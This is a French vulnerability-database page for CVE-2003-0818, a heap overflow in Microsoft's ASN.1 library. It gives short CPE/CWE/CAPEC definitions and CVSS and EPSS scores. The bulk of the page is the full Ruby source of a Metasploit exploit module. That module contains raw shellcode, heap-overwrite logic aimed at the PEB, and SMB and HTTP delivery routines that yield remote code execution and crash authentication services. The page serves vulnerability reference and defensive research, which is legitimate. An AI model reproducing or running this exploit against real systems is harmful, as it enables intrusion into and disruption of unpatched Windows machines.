CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Multiple integer overflows in Microsoft ASN.1 library (MSASN1.DLL), as used in LSASS.EXE, CRYPT32.DLL, and other Microsoft executables and libraries on Windows NT 4.0, 2000, and XP, allow remote attackers to execute arbitrary code via ASN.1 BER encodings with (1) very large length fields that cause arbitrary heap data to be overwritten, or (2) modified bit strings.
Informations du CVE
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V2
7.5
AV:N/AC:L/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
93.13%
–
–
2023-03-12
–
–
–
97.37%
–
2024-03-03
–
–
–
97.36%
–
2024-06-02
–
–
–
97.36%
–
2024-12-15
–
–
–
97.29%
–
2024-12-22
–
–
–
97.26%
–
2025-01-19
–
–
–
97.26%
–
2025-03-18
–
–
–
–
89.58%
2025-03-30
–
–
–
–
89.65%
2025-03-30
–
–
–
–
89.65,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2010-07-24 22h00 +00:00 Auteur : Metasploit EDB Vérifié : Yes
##
# $Id: ms04_007_killbill.rb 9929 2010-07-25 21:37:54Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = LowRanking
include Msf::Exploit::Remote::SMB
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft ASN.1 Library Bitstring Heap Overflow',
'Description' => %q{
This is an exploit for a previously undisclosed
vulnerability in the bit string decoding code in the
Microsoft ASN.1 library. This vulnerability is not related
to the bit string vulnerability described in eEye advisory
AD20040210-2. Both vulnerabilities were fixed in the
MS04-007 patch.
You are only allowed one attempt with this vulnerability. If
the payload fails to execute, the LSASS system service will
crash and the target system will automatically reboot itself
in 60 seconds. If the payload succeeeds, the system will no
longer be able to process authentication requests, denying
all attempts to login through SMB or at the console. A
reboot is required to restore proper functioning of an
exploited system.
This exploit has been successfully tested with the win32/*/reverse_tcp
payloads, however a few problems were encounted when using the
equivalent bind payloads. Your mileage may vary.
},
'Author' => [ 'Solar Eclipse <solareclipse@phreedom.org>' ],
'License' => GPL_LICENSE,
'Version' => '$Revision: 9929 $',
'References' =>
[
[ 'CVE', '2003-0818'],
[ 'OSVDB', '3902' ],
[ 'BID', '9633'],
[ 'URL', 'http://www.phreedom.org/solar/exploits/msasn1-bitstring/'],
[ 'MSB', 'MS04-007'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Privileged' => true,
'Payload' =>
{
'Space' => 1024,
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows 2000 SP2-SP4 + Windows XP SP0-SP1', # Tested OK - 11/25/2005 hdm (bind failed)
{
'Platform' => 'win',
},
],
],
'DisclosureDate' => 'Feb 10 2004',
'DefaultTarget' => 0))
register_options(
[
OptString.new('PROTO', [ true, "Which protocol to use: http or smb", 'smb']),
], self.class)
end
# This exploit is too destructive to use during automated exploitation.
# Better Windows-based exploits exist at this time (Sep 2006)
def autofilter
false
end
# This is a straight port of Solar Eclipse's "kill-bill" exploit, published
# as a Metasploit Framework module with his permission. This module is only
# licensed under GPLv2, keep this in mind if you embed the Framework into
# a non-GPL application. -hdm[at]metasploit.com
def exploit
# The first stage shellcode fixes the PEB pointer and cleans the heap
stage0 =
"\x53\x56\x57\x66\x81\xec\x80\x00\x89\xe6\xe8\xed\x00\x00\x00\xff"+
"\x36\x68\x09\x12\xd6\x63\xe8\xf7\x00\x00\x00\x89\x46\x08\xe8\xa2"+
"\x00\x00\x00\xff\x76\x04\x68\x6b\xd0\x2b\xca\xe8\xe2\x00\x00\x00"+
"\x89\x46\x0c\xe8\x3f\x00\x00\x00\xff\x76\x04\x68\xfa\x97\x02\x4c"+
"\xe8\xcd\x00\x00\x00\x31\xdb\x68\x10\x04\x00\x00\x53\xff\xd0\x89"+
"\xc3\x56\x8b\x76\x10\x89\xc7\xb9\x10\x04\x00\x00\xf3\xa4\x5e\x31"+
"\xc0\x50\x50\x50\x53\x50\x50\xff\x56\x0c\x8b\x46\x08\x66\x81\xc4"+
"\x80\x00\x5f\x5e\x5b\xff\xe0\x60\xe8\x23\x00\x00\x00\x8b\x44\x24"+
"\x0c\x8d\x58\x7c\x83\x43\x3c\x05\x81\x43\x28\x00\x10\x00\x00\x81"+
"\x63\x28\x00\xf0\xff\xff\x8b\x04\x24\x83\xc4\x14\x50\x31\xc0\xc3"+
"\x31\xd2\x64\xff\x32\x64\x89\x22\x31\xdb\xb8\x90\x42\x90\x42\x31"+
"\xc9\xb1\x02\x89\xdf\xf3\xaf\x74\x03\x43\xeb\xf3\x89\x7e\x10\x64"+
"\x8f\x02\x58\x61\xc3\x60\xbf\x20\xf0\xfd\x7f\x8b\x1f\x8b\x46\x08"+
"\x89\x07\x8b\x7f\xf8\x81\xc7\x78\x01\x00\x00\x89\xf9\x39\x19\x74"+
"\x04\x8b\x09\xeb\xf8\x89\xfa\x39\x5a\x04\x74\x05\x8b\x52\x04\xeb"+
"\xf6\x89\x11\x89\x4a\x04\xc6\x43\xfd\x01\x61\xc3\xa1\x0c\xf0\xfd"+
"\x7f\x8b\x40\x1c\x8b\x58\x08\x89\x1e\x8b\x00\x8b\x40\x08\x89\x46"+
"\x04\xc3\x60\x8b\x6c\x24\x28\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea"+
"\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x38\x49\x8b\x34\x8b\x01\xee"+
"\x31\xff\x31\xc0\xfc\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb"+
"\xf4\x3b\x7c\x24\x24\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b"+
"\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc2"+
"\x08\x00\xeb\xfe"
token = spnego_token(stage0, payload.encoded)
case datastore['PROTO']
when 'smb'
exploit_smb(token)
when 'http'
exploit_http(token)
else
print_status("Invalid application protocol specified, use smb or http")
end
end
def exploit_smb(token)
connect
client = Rex::Proto::SMB::Client.new(sock)
begin
client.session_request(smb_hostname()) if not datastore['SMBDirect']
client.negotiate
client.session_setup_ntlmv2_blob(token)
rescue => e
if (e.to_s =~ /error code 0x00050001/)
print_error("The target system has already been exploited")
else
print_error("Error: #{e}")
end
end
handler
disconnect
end
def exploit_http(token)
connect
req = "GET / HTTP/1.0\r\n"
req << "Host: #{ datastore['RHOST']}\r\n"
req << "Authorization: Negotiate #{Rex::Text.encode_base64(token, '')}\r\n\r\n"
sock.put(req)
res = sock.get_once
if (res and res =~ /0x80090301/)
print_error("This server does not support the Negotiate protocol or has already been exploited")
end
if (res and res =~ /0x80090304/)
print_error("This server responded with error code 0x80090304 (wth?)")
end
handler
disconnect
end
# Returns an ASN.1 encoded string
def enc_asn1(str)
Rex::Proto::SMB::Utils::asn1encode(str)
end
# Returns an ASN.1 encoded bit string with 0 unused bits
def enc_bits(str)
"\x03" + enc_asn1("\x00" + str)
end
# Returns a BER encoded constructed bit string
def enc_constr(*str_arr)
"\x23" + enc_asn1(str_arr.join(''))
end
# Returns a BER encoded SPNEGO token
def spnego_token(stage0, stage1)
if !(stage0 and stage1)
print_status("Invalid parameters passed to spnego_token")
return
end
if (stage0.length > 1032)
print_status("The stage 0 shellcode is longer than 1032 bytes")
return
end
tag = "\x90\x42\x90\x42\x90\x42\x90\x42"
if ((tag.length + stage1.length) > 1033)
print_status("The stage 1 shellcode is too long")
return
end
# The first two overwrites must succeed, so we write to an unused location
# in the PEB block. We don't care about the values, because after this the
# doubly linked list of free blocks is corrupted and we get to the second
# overwrite which is more useful.
fw = "\xf8\x0f\x01\x00" # 0x00010ff8
bk = "\xf8\x0f\x01"
# The second overwrite writes the address of our shellcode into the
# FastPebLockRoutine pointer in the PEB
peblock = "\x20\xf0\xfd\x7f" # FastPebLockRoutine in PEB
bitstring = enc_constr(
enc_bits("A" * 1024),
"\x03\x00",
enc_constr(
enc_bits(tag + stage1 + ("B" * (1033-(tag+stage1).length))),
enc_constr( enc_bits(fw + bk) ),
enc_constr(
enc_bits("CCCC" + peblock + stage0 + ("C" * (1032-stage0.length))),
enc_constr(
enc_bits("\xeb\x06" + make_nops(6)),
enc_bits("D" * 1040)
)
)
)
)
token = "\x60" + enc_asn1( # Application Constructed Object
"\x06\x06\x2b\x06\x01\x05\x05\x02" + # SPNEGO OID
"\xa0" + enc_asn1( # NegTokenInit (0xa0)
"\x30" + enc_asn1(
"\xa1" + enc_asn1(
bitstring
)
)
)
)
return token
end
end